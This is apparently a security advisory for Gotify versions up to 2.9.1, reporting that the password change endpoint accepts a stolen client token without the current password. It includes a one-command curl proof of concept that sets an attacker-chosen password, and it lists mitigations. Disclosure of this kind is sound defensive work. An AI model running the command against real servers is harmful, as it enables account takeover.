GHSA-3hcj-9m7p-wwm9

The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access. ## PoC ```bash # Attacker has obtained a client token # No prior password knowledge required STOLEN_TOKEN="Cxxxxxxxxxx" curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"pass":"attacker_controls_this"}' # Expected response: # HTTP/1.1 200 OK ``` ## Mitigation - Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or - Restrict access to the state-changing endpoints under `/user` and `/current/user` to trusted networks.